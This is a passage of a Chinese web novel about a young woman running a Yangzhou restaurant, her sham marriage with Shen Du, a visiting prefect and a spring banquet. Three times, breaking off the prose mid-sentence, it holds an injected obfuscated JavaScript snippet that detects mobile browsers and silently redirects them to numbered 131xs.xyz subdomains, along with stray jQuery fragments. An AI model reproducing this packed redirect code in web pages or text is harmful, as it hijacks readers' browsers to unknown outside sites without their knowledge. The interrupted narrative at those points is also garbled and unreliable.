梁照儿闻言立刻红着脸起身，“我才不稀罕待。” 沈度轻轻笑了声，又说：“我去做什么你到时候就知道了。晚上不必等我，这几天下午我都得告假。” 梁照儿：“......” 究竟谁才是老板？这人怎得这般理直气壮地对她提出这种无理的要求！ 正当梁照儿欲端起掌柜的架子狠狠教训这登徒子一番时，沈度却背过身准备回后院，临走时还冲她招招手，“工钱照扣就是了。” 好家伙，这人怎么把扣钱说的跟要甩一百两银子在自己面前这般财大气粗。 等梁照儿回过神来，沈度早就在黑夜中消失的无影无踪。 到了成婚那日，梁照儿才知道沈度去干什么了。 她本来不想弄这些喜宴之类的排场，毕竟这也不是正经结亲，不过是为了买地的无奈之举。可燕环一直劝她：“你们俩在公堂上既然说了，做戏总得做全套麽，也得小心些外头的闲言碎语。” 梁照儿望向玉梳，见玉梳也冲她点点头，才同意。 不过她说：“不要那些张灯结彩的派头，就我们自己吃桌饭便成了。” 这日沈度一大早上便不见了踪影，梁照儿起来问玉梳开门时可曾瞧见他了，玉梳也连连摇头。 玉梳住在外头，掌着如意馆的钥匙，平日里来的也早。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427201|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居然连她都未曾看见过沈度，这人不会是先用假结婚拖延做缓兵之计，而后偷偷跑路了吧？ 梁照儿想到此处，心下一阵愤恨，早知如此就不该那么相信沈度，将令牌还给他！ 沈度这一去，直到傍晚众人预备吃饭时，他还未回来。 梁照儿今日还罕见地妆点了一番，带上了沈度之前送的那枚花胜，如今瞧着这一桌子菜，她气都气饱了，恨不得将那花胜狠狠掷在沈度脸上。 见她脸色阴沉，连寻常浑不怕的燕环此刻都噤了声。 只有李瘸子抱着酒壶憨憨一笑道：“别愣着了，快吃吧。今日我可都是新做的好菜，也好庆祝庆祝。” 玉梳担忧地看了梁照儿一眼，拍了拍她的手道：“许是有什么事耽搁了，咱们先吃也好。” 众人吃到一半，沈度浑身是汗地推门而入。 他自顾坐下，冲着李瘸子喊道：“快给我倒杯茶来。” 李瘸子觑了一眼梁照儿，连忙摇了摇头说：“你自己倒。” 说着，他手朝旁边一指，示意沈度自给自足。李瘸子自认为自己可不是燕环那个没眼色的，谁给他发工钱他心中还是门清的。 沈度咬牙切齿道：“自己倒就自己倒。” 一顿饭吃的鸦雀无声，不见平日饭桌上的欢声笑语。几人一用完饭便跟李瘸子争抢着要去厨房刷碗。 李瘸子愤愤道：“哪有那么多碗要刷，再说你们一窝蜂地都来了，厨房哪里站的下？” “嗐，还不是瞧着你一天辛苦，我同玉梳来帮帮你。”燕环挤眉弄眼道。 李瘸子不接招，“你眼睛抽筋了就去瞧大夫。” 玉梳噗嗤一声笑出来，连忙将他二人往厨房推，“快去洗碗！” 外头瞬间便只剩梁照儿与沈度两人，梁照儿还在气头上，转过身子背对着他道：“我也去帮忙。” 说着，她便将头上的花胜扯了下来。 沈度环胸看着她，声音中含着笑：“掌柜的怎么不戴着，很衬你。” 梁照儿一听这话只当他在嘲笑自己，转身将那花胜丢进沈度怀里，“什么脏人臭人送的，我不要。” 沈度拾起花胜，哑然失笑道：“你不是好奇我去做什么了麽？” 说着，他从怀里掏出一颗婴儿拳头般大的夜明珠放在桌上，又说：“你瞧瞧，这可比那令牌贵重。” 梁照儿惊呼一声，嘴巴张得大大的，许久都合不上，这还是她两辈子加起来第一次看见真实的夜明珠。那夜明珠实际上是颗浅灰色的萤石，散出的光芒虽没有“昼视之如星，夜望之如月”那么夸张，倒也十分柔和明亮。 “这…这不会就是你母亲那颗夜明珠罢？”梁照儿问道。 沈度点了点头，“正是。我被玉松追杀路过金陵之时，将它偷偷藏在了栖霞寺以免破损丢失。” 梁照儿问：“你今日是去拿这珠子了？” “昨天夜半便去了，到了那寺庙一时间忘了路，还找了好一阵才找着。”沈度说道。 他将那夜明珠推到梁照儿面前，示意她收下。 梁照儿一脸疑惑：“你将这么贵重的东西给我做甚么？” 沈度说：“从前你扣下我的令牌，生怕我不还你银子半路逃了，如今我将夜明珠押在你这，便是告诉你我是心甘情愿留下来的。” 42. 新任知州与微服私访 三月初三，上巳节。 花外有青帘，陌上好青光。阳知州从瓜洲渡口下了船，这是他第四次来扬州。第一次来扬州时，他还只有四岁，父亲在泰州任上去世，母亲带着他扶灵回随州，路过扬州。第二次是二十二岁的冬天，岳父带他从水路上京师，途径扬州稍作停留。第三次是他被贬至夷陵，那年七月初三，船到扬州停留，他上岸游乐了好几天。 这次他是被官家从滁州调来扬州接替韩知州的位置，而韩知州则改任定州知州。 他的学生蔡宣季听说自家老师要来扬州，连夜从京师修书一封寄到滁州给阳知州。阳知州从老管家手上接过厚厚的信封时，还以为是蔡宣季做的什么文章之类的，却不成想打开一看是一份扬州旅游指南。 上面详细地记载了扬州城中各处好吃的食肆铺子、翠袖坊唱歌最好听的歌女以及赏花赏景的好去处。 气得阳知州愤愤地将那信笺甩在桌子上。 老管家问：“可要替您将这信丢了？” 阳知州又觑了一眼，“收好吧，到了扬州省得咱们自己去寻摸了。” 谁还不是个喜欢吃喝玩乐的三好青年呢？ 蔡宣季信中还特意提及了位于瓜洲渡口卸盐巷尾的如意馆，他说是他一好友所开，味道比之燕来楼也没差，让老师也去捧捧场。 阳知州不屑地哼了一声，这小子竟说假话，还什么好友，他下船一打听，如意馆的掌柜的明明是个女子，怕是他的心上人。不过这小子颇有自己当年的风范，会哄娘子开心。 老管家在前头一路问，二人一路行，率先便来了如意馆。 正好坐了一路船，可以用些餐食好好歇歇。 如今渡口竣工，往来的商贾和小摊小贩不少，卸盐巷热闹非凡。阳知州和老管家费了好大劲才从熙熙攘攘的人群中脱身，到了如意馆门前却又见不少排队的食客。 阳知州随即抓取了一位热心市民问：“借问兄台，你们在这排队买什么东西呢？” 热心市民回：“听口音你们是从外地来的罢？大家都排队在买早饭呢。” 阳知州好奇：“为何大家不在家中吃早饭，倒跑到外头来吃？” 热心市民耐心道：“家里做多费时间呀，如意馆的胡饼才三文钱一个，有肉有菜，坐在里头吃还有免费的香饮喝。” 阳知州见状也命老管家跟在队伍后头排着买胡饼，自己则跟着客流往里头去。 他进店一看，如意馆中各个区域区分明确。左手边是点餐的柜台，台前站着一娘子正在拨算盘记账。右手边将半面墙凿开装上窗棂，制成一扇可以从里推开的大窗，外面延伸出去半张台面专门卖糕点。 正前方乃是食肆大堂，里头散摆着几张八仙桌。右前方是墙隔开的包厢，插屏挡住了视线瞧不清里面是什么样子，但看墙上的招牌大约有三间小包厢，分别是鹧鸪天、满庭芳与醉花阴。 中间挑空，二楼右侧用纱幔重帘围住，只能看见里面袅娜的几位佳人倩影，传来阵阵娘子们行酒令的娇声。 阳知州暗自点了点头。这如意馆是个大通铺，自己瞧见的分区多是店家人为分开的，麻雀虽小，五脏俱全，想必这位店主人也是个心中有丘壑之人。 沈度见一中年男子进来也不说要吃什么，只用一双眼把四处仔仔细细地探照了一番，以为又是哪家同行派来的商业间谍。 故而他问道：“这位客官要用些什么？” 阳知州见沈度上前问候，笑着说：“你们这有什么？” 沈度见状更加确信此人是临街食肆派来的商业间谍，先是偷学店面布局，现在还要来抄菜单，简直岂有此理！ 阳知州见沈度脸青一阵红一阵的，满脸疑惑，又问：“不知老板娘在何处？” 沈度脸更黑了，这厮居然还要来抢掌柜的！ 他将脖子上的汗巾子一把抽下缠在拳头上，“在下就是老板娘，您有何贵干？” 阳知州一脸震惊：“啊？” 他这学生许久未见，怎得发展出了龙阳之好不成？方才街边的百姓不是说如意馆的掌柜的是位美娇娘么，这位瞧着不美不娇也不娘啊！ 玉梳见状连忙从柜台里头出来，用眼神示意沈度别抄家伙。本来如意馆不是黑店，被他这么一弄倒还真有些像黑店。 “你去替掌柜的炸胡饼，叫她过来瞧瞧罢。”玉梳说道。 她又对着阳知州道：“这位客官是坐散桌还是包厢？” 阳知州回说：“不知还有没有包厢可坐？我还有一老仆在外头买胡饼。” 玉梳朝里头一望，笑着说：“您来得巧，刚好剩下一间满庭芳，我这就叫人引您过去。” 她抬手唤来了燕环，只见燕环娇娆地扭身走了过来，柔声见过阳知州。 玉梳小声道：“跟你讲了多少次，咱们现在做的是正经生意，不是在翠袖坊哩。” “我省得了，一时半会难得改过来呀，”燕环又对阳知州道，“客官这边请。” 阳知州吓得一激灵，他这辈子洁身自好，还没怎么去过秦楼楚馆，鲜少见到燕环这种脂粉气重的女子。他感觉被自家倒霉学生骗了，这店真的是正经店吗？ 燕环引着他到了满庭芳门口，将门一推，“客官您瞧，虽说这房间小了点么，可景致真真是好极了呀，外头就是江水，不要太有雅性了！” 阳知州点了点头，包厢名和外头的景色都尽展江南烟水柔情。 他又问：“借问娘子，翠袖坊朝何处去？听说如今扬州城里的红姑最善唱曲，在下也想去一饱耳福。” 燕环不屑道：“红姑么，原先我在的时候哪还轮得到她！嗓子条件也就一般般，没变声前粗声粗气的，还赶不上我三分。” 见梁照儿进来了，燕环又转身出去接待其他客人。 “奴便是这如意馆的掌柜，不知您所谓何事？”梁照儿笑着提了一壶茶替阳知州倒上。 阳知州观这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436250|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子虽不是一等一出挑的美人，但身上却自有一股姿态让人见之难忘。只见她眉宇间宜喜宜嗔，十分鲜活，身姿挺拔，更显精神。 他答道：“某听启旸所说，此处膳食鲜美，恰逢有机会来扬州，便想来试试。” 梁照儿闻言长舒了一口气，方才被沈度那么一说，害她也担心起此人莫不是有什么不安分的想法。如今见是蔡宣季熟识之人，心总算放下了半分。 她道：“您既与蔡郎君交往，想必也是人品贵重之人。请您稍候片刻，我去取册子来，尽管拣些爱吃的点上，厨房马上就给您送上来。” 阳知州见她处事妥帖得当，面上笑意更深三分，“劳烦掌柜的。” 梁照儿出去拿菜单时，老管家气喘吁吁地进来了，他说：“排了好一阵才买上，您快尝尝罢，冷了就不好吃了。” 老管家又想起在油锅前炸胡饼的那位冷面郎君，下筷那叫一个快准狠，背后忽然起了一身鸡皮疙瘩。 阳知州问：“你怎么了？” 老管家摇头，“没...没事。” 阳知州又说：“这里没旁人，你年纪大了腿脚不好，坐下一起吃罢。” 老管家头摇得更厉害，“多谢主人，老奴站在边上就行。” 阳知州拗不过老管家，只得接过那胡饼大快朵颐起来。胡饼汁水充沛，外壳酥脆，双重滋味在口腔之中撞了个满怀，不愧是这么多老百姓排队也要买来吃的。 他擦了擦嘴角的油渍，接过梁照儿递过来的册子，心中更多了几分期待。 翻开那册子一看，里头的菜名通俗易懂，没起那些从名字上都看不出来是什么食材做的菜名。部分菜品前头画了一个叉，阳知州指着那叉问：“为何这道菜前头有一个叉？” 梁照儿瞧见那叉便来气，昨日她让沈度和李瘸子去将从渔船上订的几样河鲜拿回来，结果两个和尚抬水，水洒了一地，损失了大半食材。她又不想弄些残次品来糊弄食客，只得暂且先不提供用这几种食材做的菜。 “今日没寻摸到好的食材，若是您在扬州城里停留的日子多些，下次来保准让您吃到。”梁照儿赔笑说。 阳知州点了点头，不错，不以次充好，倒是个实心的店家。 他翻到后面，如意馆趁春日新推出了几道时令菜，上头写着三个大字，春日宴。 阳知州指了指这一页，“这一页的都上上来罢。” 梁照儿点了点头，伸手将那册子接过夹在腋下，“您且坐坐，稍后便来。” 她一出门便见沈度站在门口，梁照儿道：“倒不是同行，说是蔡郎君熟识的人。” 沈度仍是满脸怀疑：“认识蔡宣季的人可不少，各个来了都说认识，再一问都只是听说过。近些时候，这条街和后面那条街不少食肆都派了探子来打探，小心些总没错。” 梁照儿闻言也点了点头，“你说的也没错，去告诉李瘸子被一桌春日宴上来，糕点便换成碧涧豆儿糕罢。” 43. 春日宴与大诗豪 李瘸子站在厨房里对着梁照儿说：“那碧涧豆儿糕你自己来做罢，我这暂且腾不开手，再者你将那食笺七改八改，我一时间记不全你那做法。” 梁照儿笑着说：“哪就七改八改了，不过多加了几种食材罢了。” 她将预先泡过三四个时辰的绿豆和白芸豆脱皮下蒸笼蒸上片刻，再从蒸笼里将豆子取出来时一捻便散。将蒸好的豆子倒在两个海碗里，分别碾成豆蓉，梁照儿仍觉不够细，又用筛面粉的细筛和刷子将豆蓉又过了一遍筛才作罢。 做完这一套准备流程，她已经累得满额是汗。古代没有破壁机，全靠手动，这还不是最麻烦的，最麻烦的是给绿豆去皮，简直剥得她怀疑人生。 李瘸子道：“非要剥皮费那劲做甚么，人家都是直接蒸了用，偏你不一样。” 梁照儿只说：“豆皮口感太过生硬，又很难被舂碎，吃到口里还容易黏到牙齿上，影响美观。” 李瘸子嘴上虽说着责怪的话，但心中却是对梁照儿的一片认可。她这般年轻，却肯沉下心来在一边拨好几个时辰的豆子，真叫人刮目相看。若是多加磨练，假以时日必成大才。 将磨好的两种豆蓉混在一起后，梁照儿又加了抹茶粉和新酿好的槐花蜜，搅拌均匀后糕粉便呈淡淡的绿色。这其中最为关窍的便是加多少槐花蜜，加多了糕点过甜，加少了糕体便不够润。好在她做的是苏式糕点，食客们不怕甜，且如今糖油一类是珍贵物，故而便照多了放。 取一小团糕胚捏紧实压入模具脱模后便得了这碧涧豆儿糕，通俗地叫法就是抹茶绿豆糕。豆儿糕整体莹润富有光泽，散发出抹茶粉和槐花蜜所带来的淡淡清香。 梁照儿将豆儿糕放在冰室里稍稍镇上片刻，再拿出来悠悠冒着冷气，呈在青瓷盅里更显得玲珑可爱。 恰好此时李瘸子将菜做好了，主菜是用上次崔璋送来的农家咸肉做成的腌笃鲜，还做了一道芦笋马蹄炒虾仁。主食是一碗做法简单，味道却不简单的阳春面，汤品则是玉带羹。 沈度早在门口候着了，梁照儿跟在他身后将食盒提了进去。那食盒是特地用陶瓷做的温盘，上下两层，侧端有注水孔，注入热水既可起到保温的功能。梁照儿提出要做保温食盒之前还思虑再三，才小心翼翼地提出这个自认为无理的要求，不料却被如意馆里头的其他人白了一眼。 燕环道：“这样的东西早就有了呀，有甚么好支支吾吾不肯说的。” 玉梳解围：“你别说她啦，她以前哪见过这些东西，都有第一遭的。” 梁照儿一听玉梳这话，更不知作何表情，她以前怎么没发现玉梳也是个嘴毒的？ 她无奈说：“只当我乡下人进城，头一遭罢！” 沈度亦摇摇头，拍了拍她的肩膀。 不过马上梁照儿就不是最后一个知道还有这种新奇物件的人了。 阳知州问：“这食盒倒不寻常。” 梁照儿连忙给他解释了一通。 言毕还得意洋洋地看了沈度一眼，意思是怎么样，不认识的人多着了，我不认识算不得什么。沈度觉得她这样活像只贪蜜吃的小鼠，偷得了二两蜜便急不可耐地给鼠大王进贡。 二人将菜布好后，沈度便悄声退了出去。 梁照儿留下替阳知州介绍：“这便是您点的春日宴了，拢共五样，两道菜，一例汤，一份主食，一盘糕点。” 阳知州率先看向腌笃鲜，他每次下江南都听人家说起这道腌笃鲜，却始终未得吃上一次，此次也算圆梦了。这春笋用的是富阳笋，鲜肉用的是肥瘦相间的排骨，汤白汁浓，肉质酥肥，笋清香脆嫩。 梁照儿又道：“您先吃着，有事尽管唤店里的伙计。” 正当她欲退出去时，燕环捧着琵琶进来了。 阳知州一脸懵，他记着自己好像没点这项服务啊？ 燕环抽了一根绣凳坐在一边，便准备给阳知州大展一番身手，让他知晓谁才是这扬州城里唱歌最好听的娘子，红姑算什么呀，连她一根小手指都挨不上。 梁照儿无奈地笑笑，燕环如今算是找到事业的第二春了，心情好经常在堂中登台演出，食客们也分外捧场，还有不少往她身上掷香包香果的。不过沈度倒不是很开心，因为他得在一旁替燕环收拾粉丝见面会后的现场，完全是给他增加工作量！ 在沈度的强烈抗议下，燕环的倾情演出变为晚上固定时间段，再就是包厢里的客人若有想听曲儿的再单独喊了她去。 阳知州便成为新规施行的第一只小白鼠。 燕环问：“客官想听甚么曲儿？” 阳知州轻咳道：“娘子会些甚么式样的？” “就没奴不会的，样样都通的。”燕环轻哼一声说道。她在翠袖坊的时候别说唱曲儿了，还能跟着乐师一道谱曲作词。 阳知州悠悠道：“那便唱一曲临江仙罢。” 伴着燕环婉转的歌声，阳知州开始享用面前的餐食。腌笃鲜咸鲜浓郁，芦笋马蹄炒虾仁更是出乎意料外的好吃。芦笋清脆爽口，河虾无半点腥气，肉质嫩弹，整道菜一气呵成，只有未炒过头的芦笋和虾仁才能最大地呈现出食材原本的味道。 玉带羹就不用多说了，素有“笋似玉，莼似带”的美名，如意馆的这道菜里还加入了少许小虾米和咸肉提鲜，味道更加浓郁。 燕环唱的临江仙是南唐后主的那一版词，唱及“空持罗带，回首恨依依”的那一句时，阳知州甚至都忍不住落下了泪。虽说自古文人相轻，不少人曾批判南唐后主从前所作精巧宫词无甚出彩之处，不过他倒觉着后主亡国之后所作的诗词比从前的好上不少。 不管是何物，只要寄托了真情，便就不会泯然众人矣。 如意馆做的饭是，燕环唱的曲更是。 燕环见阳知州动容，心下更是暗爽无比，可见她不仅宝刀未老，反而声音不如从前稚嫩后，整体水平更上一层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444797|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼了！ 她可要告诉李瘸子听，省得他整天说自己是风光不再。 阳知州捻起一块豆儿糕放进口中，轻轻一抿，豆儿糕在口中化开，抹茶的清香直达上颚。他不是没吃过豆儿糕，只是寻常那些要不是没去皮带有青涩味；要不就是图省事，豆粉时间放久了，油脂氧化，水分流失，不仅干硬且口感也差。 如意馆的豆儿糕却不是，细腻滑顺，如同酥油一般。 一顿饭吃下来，阳知州也算信了蔡宣季信中所言，这如意馆倒真不比燕来楼之类的官家正店差。最难得的是心思细巧，推陈出新，每道菜都有些新口感。 他对老管家说：“你去外头请掌柜娘子进来，我有话要说。” 老管家见状连忙出去照做。 燕环以为是餐食有什么问题，连忙问：“客官可是有什么疑虑，同奴说也是一样的。” 阳知州笑而不语。 燕环更是着急：“嗐，唱曲儿不收你钱就是，你这人怎的也不言语？” 梁照儿被老管家簇拥着进来，她心中虽有疑问，却还是礼数周全道：“听您的管家说客官有话要同奴说，不知是怎样的真知灼见，也好叫奴领教一番。不管是菜品有问题、还是伙计们不够尽心，都请客官只管说来，奴好一并责改。” 阳知州笑着说：“掌柜的过虑了，一切都很好。” 燕环稍稍放下心来，还好不是来投诉的。 阳知州接着说：“在下也算爱吃的老饕，可如贵店这般的食肆还未见过几家。” 紧接着阳知州从店内装潢到菜单设计再到菜品本身都狠狠地夸奖了一番。阳知州是个性情中人，他的夸奖与韩景彦不同，说文雅点是夸饰，若说通俗些就是彩虹屁。 梁照儿被她夸得有些脸热，燕环却毫不客气地照单全收了。 讲到兴头上，阳知州高喝一声：“拿纸笔来！” 梁照儿一怔，这里是饭馆，除了厨子就是杂役，哪来的上好的纸笔？她连忙吩咐燕环去外头玉梳那扯几张纸，再拿根毛笔来。 玉梳道：“就一支笔，你们里头用完了记得还回来，不然我怎么记账呀！” 现在客人多，若不一单单地记着，过不了几桌客人就全忘了每桌的金额。 燕环头也不回道：“晓得啦，实在不行你叫沈阿狗再去外头给你买一根。” 一旁扫地的沈度满脸黑线，他就知道当时上户籍时应该坚定地要求改个名字！ 阳知州接过燕环递过来的纸笔，皱了皱眉，虽然品质不佳，但也能用。他挥墨写下一阙渔家傲，其中一句“花气酒香清厮酿”，更是引得燕环称赞。 梁照儿虽不是很通诗词歌赋，但也能领略其中之美。 想来面前这位其貌不扬的男子或许是哪位大诗豪云游至此，梁照儿连忙问：“多谢官人赐下墨宝，不知官人名讳？改日张贴在食肆里头也好向人说道说道是哪位名人写下的。” 44. 玉松归来与反家暴行动 阳知州的真实身份还是宝绮再来如意馆时在众人面前揭晓的。 “……总之这个月月底我们便得启程去定州，好容易到了春天，还未去踏青便要离了扬州北上，着实可惜。阳世伯还未去州衙与父亲交接，听说这些日子他把扬州城每条巷子都钻遍了。” 梁照儿瞪了一眼沈度，还好玉梳及时制止了他，若是阳知州刚一到任地就被揍了一通，必定会气愤至极，结怨也不是什么不可能的事。 幸好最后只是让燕环分外热情地给阳知州弹奏了一曲。 梁照儿面上带着遗憾，“或许北边的春也有不同的风采呢？只是姑娘就这般走了，倒叫我心中挂念得紧。” 这遗憾是实打实的，除了好不容易在上任知州跟前混了个脸熟，又马上来了个新知州且不清楚其脾性外，梁照儿也对宝绮生了些真感情。 不过对宝绮来说，像梁照儿这种人对她的感情并不值几文钱。本就是天差地别的两个人，不过因着些机缘巧合在一起凑趣说笑，她倒也不会真将对方当作手帕交的姐妹。 宝绮叹了口气说：“谁说不是呢，到了定州也不知还有没有如意馆这般好吃的糕点了。” 这句倒是实话，民以食为天，谁能不爱吃好吃的呢？何况韩家是书香世家，家中父兄本就便好品茗闻香，自然也对饮食文化里头的雅致事上心，宝绮跟着也沾染了几分。 梁照儿并不介意宝绮这般说，她向来不在乎在旁人心中自己的工具属性大于其他的属性。换言之，她不怕别人利用自己，只怕对这些贵人而言，自己没有利用的价值。 那才是真废了。 沈度悄悄瞥了一眼梁照儿，他好奇她会怎么答。 梁照儿用帕子掩嘴道：“这还不好办，宝姑娘只当去替我探探路，瞧瞧那定州的娘子们都好吃些甚么式样的糕点吃食，赶明儿我也好将店子开到定州去。” 沈度哑然摇了摇头，他其实很佩服梁照儿，不管什么好的坏的事，到她这全被她弄成能赚钱的事。 宝绮也很喜欢梁照儿这性子，并不怎么矫揉造作，也算坦诚有趣。她又问：“哥哥已经过了省试，只待殿试官家亲策，分出三甲名次便是真正的进士了。” 梁照儿颔首，“这是大喜事，得祝贺你了。” 她在韩景彦的回信中知道了此事，听他说蔡宣季也过了省试，二人正在京师一道复习，准备殿试。 韩景彦的婚事也被提上日程。 听宝绮说杜嫣然近日患上了类似于婚前焦虑症的症状，不过倒不是害怕要成亲，而是害怕成不了亲。如今韩景彦上了汴京考试，连韩知州也要调到定州去，杜参军却仍在扬州任职。京师贵女众多，且各有所长，她怎能不害怕韩景彦被有心人勾了去。 若是韩知州同他父亲一直在一处做官，还是上下级，她心中还好稍稍放心些。有父母之命，又占着近水楼台，料想也不会出太多差错。 可如今这种微妙的局面就要被打破了，杜嫣然也不知韩家会不会继续信守婚约。 杜嫣然生性内敛，不爱向旁人诉说心中所想，若是她肯坦荡些问自己父亲或是宝绮，必然会得到他们肯定的答复。 但她不敢开口。 近来杜嫣然越发地黏着宝绮，宝绮心思细腻，又怎会不知道嫣然心中所想，只得长长地叹了一口气。 两人又闲话了一阵，梁照儿将如意酥的方子送给宝绮做离别的礼物后才目送着宝绮上了马车回府。 燕环问：“你就这样把这糕点方子给了这丫头片子？从前她爹是扬州城的父母官，稍稍敬着些也就罢了，如今都要走了，又何必这般？” 梁照儿能理解燕环不喜欢宝绮，毕竟宝绮这人有几分清高劲，若不是她真正拜服的人，断然不会看在眼里。但对于她而言，宝绮不仅称得上一句和善，也帮了不少忙。 故而她笑道：“倒没想那些个，只是总不至于人走茶凉罢了。” 燕环撇了撇嘴，又转身去迎旁的客人，梁照儿又到一边与玉梳一起清点着新到的货物。 还是玉梳眼尖，瞧见了迎面走来的玉松，“哥哥，你怎的这会子回来了？” 玉松随意笑了笑，“东家那边的事做完了，我就回来了。” 他跟数月前相比瘦了不少，脸颊上方两侧的颧骨更加突出，面颊也微微凹陷，显出一副疲惫之色。梁照儿问道：“大哥还好么，怎的瞧着瘦了不少？” 玉梳拉过玉松，仔细地探照一番，“是啊，这是怎么了？” 玉松不可置否地笑笑，他换了个话题问玉梳近来情况，又问了问关大娘。玉梳见自家兄长来了，顿觉有了靠山，便立刻如竹筒倒豆子般将近来的事都和盘托出。 玉松一听张老太居然敢蹉磨玉梳，立刻怒发冲冠道：“我去将这老虔婆斩了给你出气。” “哎唷，你这是做甚么呀，说说也就成了，可不敢真去。”玉梳连忙拉住玉松说道。 她这哥哥打小便是这个性子。从前小时候他们两个在村子里玩耍时，有浑小子故意扯玉梳的头发或是将泥巴甩在玉梳身上，若是被玉松知道了，必定不依不饶地跟那小子打上一场。 打不过玉松也不怕，只要不把他打死，他就日日堵着那人比试一番，直到人家觉着他是个疯子，不敢再招惹才肯作罢。 “张虎是干什么吃的？”玉松冷冷道。 玉梳替张虎说话：“他如今跟羊甲头一道去衙门当了捕快，还算勤勉，也时常帮衬着我。张虎说了，等我们攒够银子便搬出来单过。” 玉松闻言脸色稍虞。 三人一道进了如意馆的门，沈度见玉松回来了，身形一顿，心中紧张了起来。 这冷面煞神不会又回来追杀他了吧！ 梁照儿唯恐他俩在玉梳跟前打起来，连忙支使沈度去后头提壶茶来倒给玉松喝。 沈度听话照做。 玉梳问：“你这次回来可还走麽？之前 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沈度替玉松倒了一盏茶，偷偷地打量了他一眼。嗯，想来玉松应该对他说的话有几分相信，若非如此只怕刀已经架到自己脖子上来了。 正当几人沉默之时，采荞忽而哭着跑了进来。 虽然因着邀了采荞出门许多次她都未来，且与任家和宋五哥那事发生了也不见采荞来过问过半句，梁照儿心中有些失落，但她还是同往常那般热情接待了采荞。 梁照儿又喊来燕环作陪，她见采荞哭得哀哀切切，小心问：“这是怎么了？” 燕环也急道：“是啊，你这人又不说话，只一味地哭算怎么回事？” 采荞抹了一把眼泪，这才抽抽噎噎地道出实情来。 原来自打元宵节过了以来，采荞她男人元大郎就对她忽而转了性般地敬爱了起来。采荞只当元大郎是玩够了，定了性，总算肯安定下来好生过日子，也欢喜得紧，侍奉夫君婆婆更加勤勉，一时间到把梁照儿和燕环两人抛诸脑后。 谁成想这元大郎好的了两天变露了原形。一日他从外头带回来个大肚子女人，只说这个叫绿蟾的女人怀了他的种，叫采荞好好照顾着。采荞一时间惊魂无措，她望向自家婆婆，却见婆婆脸上半点惊异之色也无且好似与那女人十分熟稔亲近。 采荞再愚笨也能看出来这三人是串通好的。 但她还是咽下了这口气，听了元大郎的话去伺候绿蟾养胎。 燕环听到此处简直气不打一处来，用手指使劲戳了戳采荞的脑袋，“人家叫你做甚么，你便做甚么，是个泥人还有三分脾气！若明日他二人在屋子里头办事叫你在门口送热水你也送？” 这话说的采荞一阵脸红。 她顿了半晌又继续说：“如今绿蟾有身子不便伺候他，他又嫌我比他年纪大，容貌也不好，便日日宿在翠袖坊不肯回家。” 梁照儿听了半晌，捋了捋思绪才问：“如今你想怎么办才好呢？”